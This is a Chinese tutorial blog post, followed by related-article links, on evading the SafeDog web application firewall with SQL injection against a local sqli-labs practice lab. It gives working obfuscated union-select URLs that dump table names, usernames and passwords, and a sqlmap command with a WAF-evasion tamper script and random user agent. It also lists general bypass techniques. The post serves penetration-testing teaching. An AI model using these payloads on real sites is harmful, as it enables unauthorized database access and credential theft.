前言

WAF是英文"Web Application Firewall"的缩写,中文意思是"Web应用防火墙",也称为"网站应用级入侵防御系统"。WAF是集WEB防护、网页保护、负载均衡、应用交付于一体的WEB整体安全防护设备

WAF从形态上可分为硬件WAF、WAF防护软件和云WAF

以下仅介绍软件WAF及其简单绕过:安全狗

安全狗环境安装

就以安全狗为例进行安装并测试

以管理员身份打开cmd
cd C:\phpstudy\PHPTutorial\Apache\bin //进入phpstudy的apache目录的bin目录 httpd.exe -k install -n apahce2.4 cd C:\phpstudy\PHPTutorial\MySQL\bin //进入phpstudy的mysql目录的bin目录 mysqld --install mysql

一、Burp配合进行ByPass

使用burp抓包爆破关键字进行绕过测试

由于union与select联合用时会出现waf拦截,有时候单个出现union或者select都会出现拦截

我们将union和select之间的空格进行替换字符绕过waf,对标记的字符进行替换爆破,查看到正常显示字符的长度则绕过成功

以下绕过均采用burp配合手工进行猜解爆破

SQL注入的Waf ByPass

以下以sqli-labs为例进行绕过测试

判断字段数
http://192.168.31.198/sqli-labs/Less-1/?id=1%27%20order/*%2f%2f!*/by%204%23

联合查询显示位
http://192.168.31.198/sqli-labs/Less-1/?id=-1%27%20/*!10496union*//*%2f-*!%2f*/select/*%2f%2f!*/1,2,3%23

查数据库
http://192.168.31.198/sqli-labs/Less-1/?id=-1%27%20/*!10496union*//*%2f-*!%2f*/select/*%2f%2f!*/1,database/*%2f%2f!*/(/*%2f%2f!*/),3%23

查表
http://192.168.31.198/sqli-labs/Less-1/?id=-1%27%20/*!10496union*//*%2f-*!%2f*/select/*%2f%2f!*/1,2,group_concat(table_name)from/*!--+/*%0A(information_schema.tables)*//*%2f%2f!*/where/*%2f%2f!*/table_schema=%22security%22%23

查字段
http://192.168.31.198/sqli-labs/Less-1/?id=-1%27%20/*!10496union*//*%2f-*!%2f*/select/*%2f%2f!*/1,2,group_concat(column_name)from/*!--+/*%0A(information_schema.columns)*//*%2f%2f!*/where/*%2f%2f!*/table_schema=%22security%22%20and/*%2f-*!%2f*/table_name=%22users%22%23

查数据
http://192.168.31.198/sqli-labs/Less-1/?id=-1%27%20/*!10496union*//*%2f-*!%2f*/select/*%2f%2f!*/1,group_concat(username),group_concat(password)from%20users%23

二、自动化脚本测试绕过

将绕过脚本添加进sqlmap自带脚本tamper库里,并使用sqlmap自动化扫描测试

sqlmap -u "http://192.168.31.198/sqli-labs/Less-1/?id=1" --tamper=anquangou --random-agent

注:--tamper=anquangou 使用的是绕过安全狗的脚本
--random-agent 开启随机ua头是因为安全狗会自动开启识别自动化探测器如sqlmap或者其他盲注自动化探测器等,然后将其拦截,开启随机ua头是为了绕过ua头为sqlmap不被拦截

总结

1.在正常绕过市面上的waf都是这些基础waf的变种,可以利用手工配合burp猜解waf绕过关键字

2.可以利用服务器的特性如 :替换为%u0053特殊字符,替换传参方式紊乱系统传参等

3.可以利用应用层方面的特性如:简单的大小写绕过,双写关键字,url多重编码,参数污染等

4.可以利用WAF层特性如:在开发云WAF、软件WAF、硬件WAF中出现逻辑问题(对00截断无法获取识别%00后面的字符从而绕过)、性能问题(频繁使用burp爆破、条件竞争会出现waf性能下降无法识别拦截)

5.可以利用数据库特性如:数据库语句可以将空格替换成换行符,或者其他可绕过字符,像SQL语句的五大位置可绕过区域

6.可以利用已写好的自动化测试脚本,采用sqlmap自动化扫描测试

WAF Bypass 介绍与实战的更多相关文章

  1. 我的WAF Bypass实战系列

    ​ 梳理了一下自己写过的WAF Bypass相关的文章,按照编写时间顺序,整理成了一个WAF Bypass实战系列,如果你准备了解WAF攻防这一块的内容,可以来了解一下. 第一篇:<Bypass ...

  2. android MVP模式介绍与实战

    android MVP模式介绍与实战 描述 MVP模式是什么?MVP 是从经典的模式MVC演变而来,它们的基本思想有相通的地方:Controller/Presenter负责逻辑的处理,Model提供数 ...

  3. Jenkins高级用法 - Jenkinsfile 介绍及实战经验

    系列目录 1.Jenkins 安装 2.Jenkins 集群 3.Jenkins 持续集成 - ASP.NET Core 持续集成(Docker&自由风格&Jenkinsfile) 4 ...

  4. WAF Bypass 笔记(SQL注入篇)

    0x01 背景 waf Bypass 笔记 0x02 服务器特性 1.%特性(ASP+IIS) 在asp+iis的环境中存在一个特性,就是特殊符号%,在该环境下当们我输入s%elect的时候,在WAF ...

  5. WAF Bypass FUZZ小脚本

    分享两个小脚本,用来WAF Bypass简单FUZZ的 第一个:先生成一个字典,带入搭建的环境进行FUZZ,针对某些软WAF挺好用的,可FUZZ出不少姿势出来,记得先把CC攻击加入白名单才行哦... ...

  6. waf bypass

    1.前言 去年到现在就一直有人希望我出一篇关于waf绕过的文章,我觉得这种老生常谈的话题也没什么可写的.很多人一遇到waf就发懵,不知如何是好,能搜到的各种姿势也是然并卵.但是积累姿势的过程也是迭代的 ...

  7. 关于XSS简单介绍与waf bypass的一些思路整理

    很久没写东西了,今天整理一点儿思路 简单说一下XSS XSS(cross site script)即跨站脚本,侧重于"脚本"这一层概念,是一种常见web安全漏洞.攻击者通过往web ...

  8. 深度学习框架Keras介绍及实战

    Keras 是一个用 Python 编写的高级神经网络 API,它能够以 TensorFlow, CNTK, 或者 Theano 作为后端运行.Keras 的开发重点是支持快速的实验.能够以最小的时延 ...

  9. WAF Bypass数据库特性(MSsql探索篇)

    0x01 背景 探索玩了Mysql特性,继续来探索一下MSsql特性. 0x02 测试 常见有5个位置即:select * from admin where id=1[位置一]union[位置二]se ...

  10. python学习(25) BeautifulSoup介绍和实战

    BeautifulSoup是python的html解析库,处理html非常方便 BeautifulSoup 安装 pip install beautifulsoup4 BeautifulSoup 配合 ...

随机推荐

  1. 重学c#系列——枚举[二十三]

    前言 该系列继续更新,枚举介绍. 正文 首先呢,枚举是值类型,这个没什么好说的. enum ConnectionState { DisConnected, Connecting, Connected, ...

  2. Gorm源码学习-数据库连接

    1 前言 gorm源码地址: Gorm , 本文基于commit:cef3de694d9615c574e82dfa0b50fc7ea2816f3e 官方入门指南: Dosc 2 连接数据库代码示例 目 ...

  3. mybatis中xml的sql之test中文报错

    在mybatis中sql,test中文报错( java.lang.NumberFormatException 这句话明确告诉了我们是数字格式异常).需加.tostring(). <if test ...

  4. 认证服务(keystone)

    Keystone职能: Keystone (OpenStack ldentityService)是OpenStack中的一个独立的提供安全认证的模块,主要负责openstack用户的身份认证.令牌管理 ...

  5. Leanote蚂蚁笔记-私人云笔记服务器搭建

    title: Leanote蚂蚁笔记-私人云笔记服务器搭建 date: 2020-02-22 21:53:24 categories: - [IT,技术] - [IT,软件,程序] - [IT,软件, ...

  6. 动手实验查看MySQL索引的B+树的高度

    一:文中几个概念 h:统称索引的高度: h1:主键索引的高度: h2:辅助索引的高度: k:非叶子节点扇区个数. 二:索引结构 叶子节点其实是双向链表,而叶子节点内的行数据是单向链表,该图未体现. 磁 ...

  7. 如何查看计算机的CPU信息

    CPU-Z是一款家喻户晓的CPU检测软件,是检测CPU使用程度极高的一款软件.它支持的CPU种类相当全面,软件的启动速度及检测速度都很快.另外,它还能检测主板和内存的相关信息,其中就有我们常用的内存双 ...

  8. Python如何像awk一样分割字符串

    若你使用过 Shell 中的 awk 工具,会发现用它来分割字符串是非常方便的.特别是多个连续空格会被当做一个处理. [root@localhost ~]# cat demo.txt hello wo ...

  9. CH579(Cortex-M0)网络IAP升级介绍及问题解答--(持续更新) 网络升级

    CH579网络IAP升级的源码可以从码云(Gitee)上git clone下来. 码云地址:https://gitee.com/maji19971221/wch-ch57x 以下是一个朋友问的几个常见 ...

  10. js 禁用刷新快捷键

    // 上代码 /** * 按键监听 * Ctrl-17,F5-116,R-82 */ var oldKeyCode = -1; document.onkeydown = function (e) { ...